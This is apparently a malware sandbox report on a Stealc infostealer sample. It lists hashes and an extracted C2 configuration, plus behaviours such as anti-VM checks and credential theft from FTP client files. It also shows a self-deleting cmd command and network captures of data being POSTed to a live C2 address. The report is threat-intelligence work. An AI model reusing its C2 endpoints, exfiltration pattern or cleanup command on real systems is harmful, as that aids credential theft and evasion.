Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

7866a89c6f...8d.exe

windows7-x64

10

7866a89c6f...8d.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    95s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/11/2024, 02:35 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe

  • Size

    2.1MB

  • MD5

    6d1973227d581ada32cb4395e84299c7

  • SHA1

    31522ab4124049f7c11c2289bca299fd7a9623bf

  • SHA256

    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d

  • SHA512

    1e3ef405b41220227874062cb2d8392cc8c412877441a2fef5213647c0f2fdc85a4f6ff23ae9278208a2f552229126d2e6cded467c606baf76344dbba6c7ed56

  • SSDEEP

    49152:DAwy6HhinLhxUBVai/WOI07sgZ+zfczx0OFLcl:D+6HhyhxUKOVQzEzeOdc

Score
10/10
stealctalecredential_accessdiscoveryevasionspywarestealer

Malware Config

Extracted

Family

stealc

Botnet

tale

C2

http://185.215.113.206

Attributes
  • url_path

    /6c4adf523b719729.php

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    "C:\Users\Admin\AppData\Local\Temp\7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2468
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe" & del "C:\ProgramData\*.dll"" & exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1288
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:5040

Network

  • flag-ru
    GET
    http://185.215.113.206/
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sun, 10 Nov 2024 02:35:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KEGIDHJKKJDGCBGCGIJK
    Host: 185.215.113.206
    Content-Length: 211
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:35:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:35:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:35:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHD
    Host: 185.215.113.206
    Content-Length: 473
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:35:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=96
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID
    Host: 185.215.113.206
    Content-Length: 5004
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:35:59 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=95
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    GET
    http://185.215.113.206/746f34465cf17784/sqlite3.dll
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    GET /746f34465cf17784/sqlite3.dll HTTP/1.1
    Host: 185.215.113.206
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:36:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK
    Host: 185.215.113.206
    Content-Length: 472
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:36:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=93
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF
    Host: 185.215.113.206
    Content-Length: 470
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:36:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=92
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:36:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=91
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI
    Host: 185.215.113.206
    Content-Length: 465
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 404 Not Found
    Date: Sun, 10 Nov 2024 02:36:00 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 277
    Keep-Alive: timeout=5, max=90
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
  • flag-us
    DNS
    228.249.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    228.249.119.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.113.215.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.113.215.185.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    69.31.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    69.31.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    104.219.191.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    104.219.191.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    53.210.109.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    53.210.109.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    198.187.3.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    198.187.3.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.210.23.2.in-addr.arpa
    IN PTR
    Response
    88.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-88deploystaticakamaitechnologiescom
  • flag-us
    DNS
    101.209.201.84.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    101.209.201.84.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    23.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    23.236.111.52.in-addr.arpa
    IN PTR
    Response
  • 185.215.113.206:80
    http://185.215.113.206/6c4adf523b719729.php
    http
    7866a89c6f42515fa054330c648112c7b1ace05ddaa172a8ca7c20da1136988d.exe
    11.8kB
     5.8kB
     29
    18

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    GET http://185.215.113.206/746f34465cf17784/sqlite3.dll

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    404
  • 8.8.8.8:53
    228.249.119.40.in-addr.arpa
    dns
    73 B
     159 B
     1
    1

    DNS Request

    228.249.119.40.in-addr.arpa

  • 8.8.8.8:53
    206.113.215.185.in-addr.arpa
    dns
    74 B
     134 B
     1
    1

    DNS Request

    206.113.215.185.in-addr.arpa

  • 8.8.8.8:53
    69.31.126.40.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    69.31.126.40.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    104.219.191.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    104.219.191.52.in-addr.arpa

  • 8.8.8.8:53
    53.210.109.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    53.210.109.20.in-addr.arpa

  • 8.8.8.8:53
    198.187.3.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    198.187.3.20.in-addr.arpa

  • 8.8.8.8:53
    88.210.23.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    88.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    101.209.201.84.in-addr.arpa
    dns
    73 B
     133 B
     1
    1

    DNS Request

    101.209.201.84.in-addr.arpa

  • 8.8.8.8:53
    23.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    23.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\chrome.dll
    Filesize

    676KB

    MD5

    eda18948a989176f4eebb175ce806255

    SHA1

    ff22a3d5f5fb705137f233c36622c79eab995897

    SHA256

    81a4f37c5495800b7cc46aea6535d9180dadb5c151db6f1fd1968d1cd8c1eeb4

    SHA512

    160ed9990c37a4753fc0f5111c94414568654afbedc05308308197df2a99594f2d5d8fe511fd2279543a869ed20248e603d88a0b9b8fb119e8e6131b0c52ff85

    Download Submit

  • memory/2468-0-0x0000000000470000-0x0000000000BA4000-memory.dmp

    Filesize

    7.2MB

    Download

  • memory/2468-1-0x0000000077EB4000-0x0000000077EB6000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2468-2-0x0000000000471000-0x00000000004D9000-memory.dmp

    Filesize

    416KB

    Download

  • memory/2468-3-0x0000000000470000-0x0000000000BA4000-memory.dmp

    Filesize

    7.2MB

    Download

  • memory/2468-9-0x0000000000470000-0x0000000000BA4000-memory.dmp

    Filesize

    7.2MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.